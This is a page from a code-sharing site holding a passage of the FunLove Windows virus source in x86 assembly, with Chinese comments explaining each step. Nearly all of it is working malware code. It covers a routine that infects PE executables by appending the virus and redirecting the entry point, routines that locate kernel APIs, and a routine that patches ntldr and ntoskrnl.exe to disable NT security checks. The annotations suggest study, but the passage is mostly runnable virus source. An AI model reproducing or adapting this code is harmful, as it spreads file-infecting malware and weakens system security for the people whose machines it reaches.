📄 funlove_vir.txt
字号:
call OpenFile-----------|以打开存在文件的方式打开文件;
cmp eax,-1-------------|
jz IN_Exit------------|错误处理;
mov i_FileHandle,eax;成功,保存文件句柄;
push 00------------------|
push eax |
call GetFileSize---------|得到文件的大小;
mov i_FileSize,eax ;保存在变量i_filesize里面;
cmp al,03 ---------------|
jz IN_Exit--------------|判断文件是否已经被感染,如果是,跳过;
lea edi,[Buffer3 @];取得buffer3的有效地址;
push 00 ----------|
lea esi,i_BytesRead |
push esi |
push 2000 |
push edi |
push i_FileHandle |
call ReadFile --------------|读出4096字节放到buffer3里面;
cmp word ptr [edi],5A4Dh---|比较开始的字符是不是符合的文件,陷阱处理;
jnz IN_CloseFile-----------|不是可以执行的格式就关闭文件;
cmp word ptr [edi + 18],0040---|
jnz IN_CloseFile---------------|是不是win文件,这里>=40hw为win文件,<为dos 文件,不是也跳过;
cmp dword ptr [edi + 3C],1C00--|
ja IN_CloseFile---------------|比较dos头是不是3c,是表示已经感染过
add edi,[edi + 3C];保存3ch处的值;
mov eax,[edi]----------|
cmp eax,00004550 |
jnz IN_CloseFile-------|比较是不是pe文件,不是的话,也关闭跳过;
cmp word ptr [edi + 5C],2 ---------|
jnz IN_CloseFile-------------------|比较是不是gui的子系统的文件,不是也跳过
mov esi,edi----------------|
add esi,18 |
add si,[edi + 14] |
push esi -----------------|取得第一个节表的值;
mov eax,[edi + 28];取得当前的执行节的rav,一般默认为1000;
IN_00:
mov ecx,[esi + 0C]---|
add ecx,[esi + 08]---|第一个节在内存中的结束地址;
cmp eax,ecx;比较eax是否小于ecx,rav是否小于当前的地址,如果小于就跳转到
in_01,如果大于就继续找,我这里有个问题,但是现在搞懂了:
jc short IN_01
add esi,28--------|
jmp short IN_00---|指针加28,指向下一个节;
IN_01:
sub eax,[esi + 0C]------|
add eax,[esi + 14] |
mov i_EP_Offset,eax-----|得到节基于文件的偏移量;
or [esi + 24],80000000;改变本节的属性,将它改为可写;(这里是修改的ep节的属性为什么呢?)
pop esi ;刷新一次esi的值,这里又回到第一个节表头了,注意这里是为了上面的
add esi,28 操作后的所起的影响而写的
xor ecx,ecx;清0ecx;
mov cx,[edi + 06];取得节的个数;
dec ecx;减一个------|
mov eax,ecx |
mov edx,28 |
mul edx |
add esi,eax----------|得到最后一个节的位置;
mov eax,[esi + 24]---------|
cmp al,80 |
jz IN_CloseFile ----------|是否已经初始化了,如果是就关闭文件(是不是就是表示感染了?);
or eax,8C000000 -----------|
and eax,not 12000000 |
mov [esi + 24],eax-----------|将它改为可写,不共享,不可删除;
mov ecx,i_FileSize--------|
mov edx,ecx |
mov eax,ecx |
clc |
shr eax,03 |
sub edx,eax |
sub edx,[esi + 14] |
jc short IN_02-----------|判断是否是自解压文件;如果小于则认为是sfx, 感染
sub edx,[esi + 10]?????????????
jnc IN_CloseFile
IN_02:
mov edx,[esi + 08];得到文件的虚拟大小;
sub ecx,[esi + 14];得到最后一个节的实际开始地址;
jc short IN_03;如果小于?就是说当前居然文件长度居然比最后一节都小?
cmp edx,ecx;用虚拟尺寸减去实际长度?疯了哦,怎么可能小嘛?
ja short IN_03;如果目的都没有达到的话
mov edx,ecx;就把现在的地址给edx了;
IN_03:
test edx,00000FFF ; align on 1000h
jz short IN_04
and edx,0FFFFF000
add edx,1000
IN_04:
mov ecx,edx------------|
add ecx,[esi + 0C] |
mov eax,ecx |
add eax,Virt_VSize |
mov [edi + 50],eax-----|以前的虚拟尺寸在加上现在的尺寸,然后在更新 SizeOfImage
sub ecx,[edi + 28]----------------|
add ecx,offset VStart - 100 - 08 |
mov i_HostDep32,ecx---------------|rav
mov eax,edx-----------------------|
add eax,Virt_VSize |
mov [esi + 08],eax----------------|增加虚拟尺寸;
mov eax,edx
add eax,[esi + 14]
mov i_VirusOffset,eax
add edx,Phys_VSize----------------|
mov [esi + 10],edx |
add edx,[esi + 14] |
add edx,03------------------------|增加物理尺寸
push i_FileHandle--------|
push edx |
call MapFile-------------|建立内存映射文件;
or eax,eax--------------|
jz short IN_CloseFile---|失败退出;
mov i_MapHandle,eax;保存句柄;
push eax--------|
call ViewMap----|映射文件对象到本进程空间;
or eax,eax--------------|
jz short IN_CloseMap----|错误就关闭内存映射文件;
mov edx,eax;保存文件在内存的映射的位置;
lea esi,[Buffer3 @]--------|
mov edi,edx |
mov ecx,2000 |
repz movsb------------------|写pe头;
lea edi,[HostCode @]------|
mov esi,i_EP_Offset |
add esi,edx---------------|得到在新的内存空间里的ep的地址;
movsd
movsd
mov edi,esi ; set up call gs:Virus
sub edi,08
mov eax,00E8659090
stosd
mov eax,i_HostDep32
stosd
mov edi,edx ;edi现在存放的是本文件在内存中的地址了;
mov eax,i_FileSize;eax存放文件的大小;
mov ecx,i_VirusOffset;ecx存放病毒代码基于文件的偏移地址;
sub ecx,eax;用病毒的偏移减去文件的大小;
jna short IN_05;如果比文件大的话就去in-05
add edi,eax;现在edi移动到文件的末尾了
xor al,al;al清0;
repz stosb;开始以cx为记数初始化后面的空间;
IN_05:
mov esi,ebx ;源串地址就是我们的开始地址; ------|
mov edi,edx ;edi为我们的文件在内存中的映射位置; |
add edi,i_VirusOffset;定位到病毒基于文件的地址; |
mov ecx,VSize;循环的次数; |
repz movsb;复制;----------------------------------|写入病毒体;
mov ecx,Phys_VSize - VSize + 3----|
repz stosb-------------------------|??????
push edx;把edx的值即现在的文件在内存中的位置作为参数传递给unmapviewoffile
call UnmapViewOfFile;解除对文件对象在当前地址空间的映射;
IN_CloseMap:
push i_MapHandle-----|
call CloseHandle-----|关闭文件对象;
call Wait_A_Little;休眠函数;
IN_CloseFile:
lea esi,[Buffer2 + 14 @]---|
push esi |
sub esi,08 |
push esi |
sub esi,08 |
push esi |
push i_FileHandle |
call SetFileTime------------|恢复文件的时间;
push i_FileHandle---|
call CloseHandle----|关闭文件;
IN_Exit:
ret;返回;
InfectFile ENDP
; ------------------------------------------------------------------------- ;
; ------------------- GetProcAddress Search Routine ------------------- ;
; ------------------------------------------------------------------------- ;
Whereis_GPA PROC PASCAL NEAR
ARG w_Kernel32 : DWORD ;的到通过堆栈传递的值,kernel32里面的返回地址;
USES esi,edi ;先保存这个2个寄存器的值,本过程执行完后,自动恢复;
lea esi,[GPA_Sigs @] ;取得判断操作系统的特征字符串的首地址;
mov byte ptr [OS @],00 ;变量os初始为0,它的作用在于程序以后的执行
可以直接通过它的值来判断操作系统,
mov eax,w_Kernel32;把得到地址进行与操作,得到它的高3位,为了便于理解我这是这么
and eax,0FFF00000 ;称呼;
cmp eax,0BFF00000 ;比较时候为9x的地址特征;
jnz short OS_WinNT? ;不是就到nt那一段去判断;
OS_Win9x:
mov edi,0BFF70000 ;把固定的kernel32在9x里面的值赋予edi,这里就是4位补齐了
jmp short WG_00 ;然后跳转到wg_00去执行;请大家注意这里的os没有加1
OS_WinNT?:
inc byte ptr [OS @] ;os+1,后面的程序以此作为是否是nt系统的判断;
add esi,08 ;esi加8,指向gpa_sigs里面的nt4这个位置;
cmp eax,077F00000;继续比较是否为nt的系统;
jnz short OS_Win2K? ;不是,就到2k的那段去判断;
mov edi,eax ;是的话,就保存,然后去wg_00执行,请大家注意,这里funlove里面
jmp short WG_00 ;把nt的基地址认为的是077f00000;其实是4位的,只是有位为0,
这里就没有重新赋值。
OS_Win2K?:
inc byte ptr [OS @];os+1,后面的程序以此作为是否是2000系统的判断;
add esi,08 ;esi加8,指向gpa_siga里面的2k这个位置;
cmp eax,077E00000 ;比较是否是2000的kernel32的地址;
jnz short WG_Failed ;不是,表示不是需要的操作系统,就失败跳转;
注意一点,这里的失败,因为操作系统的版本
或者打补丁的问题,也会出现的。
mov edi,077E80000;没有失败,表示是2k的了,赋2k里面的基地址;
WG_00:
mov edx,edi ;edx里面保存上面判断后得到的基地址;
mov ecx,20000 ;循环20000,开始暴力搜索getprocessaddress的地址;
WG_01:
push ecx ;保存ecx的值;
mov ecx,08 ;--- ecx赋值为8,把现在的esi里面的前缀字符串
push esi | 传递给edi。
push edi |
repz cmpsb;------
pop edi ;edi恢复值,为下一次查找做准备;
pop esi ;esi恢复值,为下一次查找做准备;
pop ecx ;恢复ecx的值,2000
jz short WG_02 ;如果相等,去wg_02执行,找到getprocaddress的地址了
inc edi ;不等,edi加1,即,从kernel32的基地址外下走一位,然后
loop WG_01;继续查找,直到找到;注意,这里用的是特征字符串判断的方式
所以不必在意kernel32里面的指令什么的,一位一位的比较就是了
btw:这种方式不是很好,可以用whg的方法,
w_Failed:
xor eax,eax ;错误处理,退出
jmp short WG_03;
WG_02:
add edi,03 ;找到后,把值赋给变量getprocaddress;
mov [GetProcAddress + 1 @],edi;这里加个1是因为第一位是mov ax的机器码
mov eax,edx ;保存kernel32的基地址,
mov [Kernel32_Base @],eax;为后面的操作做准备;
WG_03:
ret ;返回
Whereis_GPA ENDP
; ------------------------------------------------------------------------- ;
; ------------------ DLL Functions Relocation Routine ----------------- ;
; ------------------------------------------------------------------------- ;
DLL_Relocate PROC PASCAL NEAR
ARG DLL_Base : DWORD,; 得到基地址,就是在调用过程里面压入的eax的值;
DLL_Func : DWORD ;得到要查找api的名字字符串首地址;
USES esi ;保存esi,本过程结束后自动恢复;
mov esi,DLL_Func ;把地址给esi,在串操作里可以做源串地址;
DR_00:
mov eax,esi;eax现在是查找的api的字符串的地址了;
add eax,07 ;到第七个字节的地方;
push eax ;地址入栈;
push DLL_Base ;kernel32的基地址入栈,给getprocaddress当参数;
call GetProcAddress;调用getprocaddres得到其他的常用的api的地址,注意
这里不包括高级api的名字列表;
例如:CloseHandle: db 0B8,?,?,?,?,0FF,0E0,‘CloseHandle‘,0
1 2 3 4 5 6 7 8
当add eax,07 后,从0b8开始(0b8是mov ax的机器码)加7后
就到了‘closehandle‘这里,就可以取字符串进行比较了;
另外在说说,这里的结构,0b8是mov ax,而0ffe0是jmp ax的机器码
后面的4个字节的空间是用来存放找到后的api的地址的,我们来看看
这里的汇编代码就知道了;
0b8,???? 对应为 mov ax,????->这里的????就是在查找后的地址,找到后加到这里 就是一句完整的语句了;
0ff,0e0 对应为 jmp ax --->>这里一看就明白了,是跳转到ax所代表的地址去执行
。就是这里的api啦;
or eax,eax ;
jz short DR_03;返回值如果为0,则失败,跳转到dr_03执行;
DR_01:
mov [esi + 1],eax;现在这里清楚了吧,esi+1后就是那4个????的地址,而eax在
getprocaddress执行后是代表的当前的这个查找的api在krnel32 里面的入口地址;
add esi,07 ;注意:上面是[esi+1],不是esi+1,esi的值没变化,加7后,就 到了字符串的位置了;
DR_02:
lodsb -----|
or al,al | 这里是一个一个字节的比较是否为‘0’,为什么这么做呢?
jnz short DR_02-----|
大家再看看上面的结构,在过了7个字节后,就是api的名字了
因为名字长短不一,所以就只加了7,然后在用0来作为判断 api名字字符串结束的标志;
cmp byte ptr [esi],0B8;这里也就简单了,比较是否是0b8,判断是否到了第二行;
jz short DR_00 ;是则继续查找剩下的api,直到找完;
DR_03:
ret ;返回;
DLL_Relocate ENDP
; ------------------------------------------------------------------------- ;
; --------------------- NT Security Patch Routine --------------------- ;
; ------------------------------------------------------------------------- ;
BlownAway PROC PASCAL NEAR
ARG DirEnd : DWORD;得到buffer1里面的当前字符串的最后一位的位置;
USES esi,edi;保存esi,edi的值,本过程完成后恢复;
lea esi,[NTLDR @]-----|
mov edi,DirEnd |
movsd |
movsd -----------|构造形入x:\ntldr的字符串,在buffer1中;
lea edi,[Buffer1 @];当前的buffer1的首地址入edi;
lea esi,[NT4_NTLDR @];nt的ntldr的要计较的操作代码字符串的首地址入esi;
cmp byte ptr [OS @],01;比较当前是否是nt,
jz short BA_00;是则执行打补丁的步骤;
add esi,5 * 2;不是nt,那么esi指向变量W2K_NTLDR的位置,认为是2k的系统;
BA_00:
push edi;-------|
push esi |
push 05 |
call PatchFile---|开始给ntldr打补丁;
lea esi,[NTOSKRNL @]----------------|
mov edi,DirEnd |构造如x:\WINNT\System32\ntoskrnl.exe形 |式的字符串;
|
BA_01: |
|
movsb |
cmp byte ptr [esi - 1],00 |
jnz short BA_01---------------------|
lea edi,[Buffer1 @]----------------|
lea esi,[NT4_NTOSKRNL @] |
|
cmp byte ptr [OS @],01 |
jz short BA_02 |
add esi,9 * 2 |
|
BA_02: |
|
push edi |
push esi |
push 09 |
call PatchFile----------------------|给ntoskrnl.exe打补丁,和上面类似;
ret 至此打补丁的任务结束,可以收线了,缝缝补补也挺累人的;
BlownAway ENDP
; ------------------------------------------------------------------------- ;
; ------------------------- File Patch Routine ------------------------ ;
; ------------------------------------------------------------------------- ;
PatchFile PROC PASCAL NEAR
ARG p_Filename : DWORD, \得到文件名;
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -